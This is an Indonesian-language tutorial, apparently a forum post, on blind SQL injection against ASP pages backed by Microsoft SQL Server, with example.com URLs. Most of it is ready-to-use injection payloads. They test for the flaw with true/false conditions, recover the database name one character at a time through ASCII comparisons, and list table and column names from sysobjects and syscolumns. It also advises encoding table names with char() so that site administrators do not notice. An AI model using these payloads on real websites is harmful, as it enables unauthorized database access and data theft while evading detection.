langsung ke pembelajaran aja lha...
Dalam beberapa kasus, jika Menggunakan metode normal sql injection tidak berfungsi. Maka blind sql injection adalah metode lain yang dapat membantu kamu.
Cara Mentest Vulnerable sites di Blind Sql Injection
Kita beranggapan bahwa web http://www.example.com/page.asp?id=1 adalah normal url untuk membuka web.
Namun silahkan kita coba inject seperti ini
Code: Select all
http://www.example.com/page.asp?id=1 and 1=1
dan
http://www.example.com/page.asp?id=1 and 1=2
Mungkin websites itu terdapat blind sql injection vulnerability. Ketika kita menginput "id=1 and 1=1" dan kondisi web masih normal dan respon dari web server masih normal. Tapi ketika kita menginput "id=1 and 1=2" dan kondisi web menjadi berubah maka web tersebut adalah web blind sql injection
Menentukan data melalui SQL Injection Blind
Dengan menggunakan blind sql injection teknik, kita akan menggunakan waktu yang lebih lama daripada normal injection.
kita dapat memperoleh hanya satu karakter sambil mengirimkan beberapa permintaan ke server.
saya akan memberikan contoh querying karakter pertama dari nama database.
Kita berasumsi bahwa data nama anggota. Oleh karena itu, karakter pertama adalah "m"
ASCII yang nilainya 109. (Pada tahap ini, saya menganggap bahwa anda tahu kode ASCII)
Ok, pertama-tama, kita harus tahu bahwa hasil dari permintaan hanya ada 2 bentuk.
Code: Select all
1. Valid hasil pencarian seperti ini http://www.example.com/page.asp?id=1 and 1 = 1
2. Invalid hasil pencarian seperti ini http://www.example.com/page.asp?id=1 and 1 = 2
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
(karena karakter pertama dari nama database adalah "m" yang ASCII kode 109). Kemudian, kita coba
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>120
Kemudian kita coba
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>105
kita akan mencoba
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>112 ===> invalid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>108 ===> valid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>110 ===> invalid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>109 ===> invalid query result
Tetapi tidak lebih dari 109. Dengan demikian, kita dapat menyimpulkan bahwa nilai ASCII adalah sama dengan 109.
kamu dapat membuktikannya dengan:
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL (ASCII (SUBSTRING (Cast ((SELECT LOWER (db_name (0))) AS varchar (8000)), 1,1)), 0 ) = 109.
Sisanya yang perlu kamu lakukan adalah untuk memanipulasi beberapa permintaan untuk mengumpulkan informasi yang kita sukai.
Dalam tutorial ini, saya mengajukan beberapa contoh query untuk mencari nama tabel dan kolom dalam database.
Eksploitasi Tabel permintaan untuk mendapatkan nama
Untuk mendapatkan nama tabel, kita dapat menggunakan metode di atas untuk mendapatkan karakter dari setiap nama tabel.
Satu-satunya hal yang kita lakukan adalah untuk mengubah query untuk mengambil nama tabel dari database saat ini.
Sebagai MSSQL tidak ada batas perintah. Dengan demikian, permintaan agak sedikit sulit.
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),1,1)),0)>97
Dapat kita lakukan dengan permintaan berikut:
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),2,1)),0)>97
Oleh karena itu, jika kita ingin menentukan posisi lainnya, saya hanya perlu mengubah parameter kedua dari fungsi substring.
Dalam kasus lainnya, kita dapat menemukan tabel lainnya dengan mengubah nama yang kedua pilih
Dari "SELECT TOP 1" menjadi "SELECT TOP 2", "SELECT TOP 3" dan seterusnya. misalnya,
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 2 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),1,1)),0)=97
Eksploitasi perintah untuk mendapatkan nama Kolom
Setelah kita memperoleh table names, selanjutnya target informasi adalah column names.
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),1,1)),0)>97
Menjadi bentuk concatenating char () perintah. misalnya, jika tabel bernama 'user',
ketika kita menambahkan 'user' dalam pencariannya, 'mungkin akan ketauan admin dan tidak dapat mensearch table user.
Untuk Solusinya adalah mengubah 'user' untuk char (117) + char (115) + char (101) + char (114).
Jadi, di mana permintaan perubahan dari cluase "Di mana nama = 'User'" menjadi "Di mana nama = char (117) + char (115) + char (101) + char (114)".
Dalam hal ini, kita dapat menghindari ketaun oleh admin. Dari hasil di atas permintaan pertama adalah karakter pertama dari nama kolom tabel yang spesifik.
Bila kita ingin menemukan kedua karakter pertama kolom, kita dapat menggunakan metode yang sama seperti mendapatkan tabel nama, dengan mengubah parameter yang kedua dari
Fungsi substring.
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),2,1)),0)>97
Dalam hal penentuan kolom lainnya, yang dapat kita lakukan dengan mengubah nilai px dari 1 ke 2,3,4, dan sebagainya. seperti
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=2))AS varchar(8000)),1,1)),0)>97
Sekian Pembelajaran Pada Season Sql Injection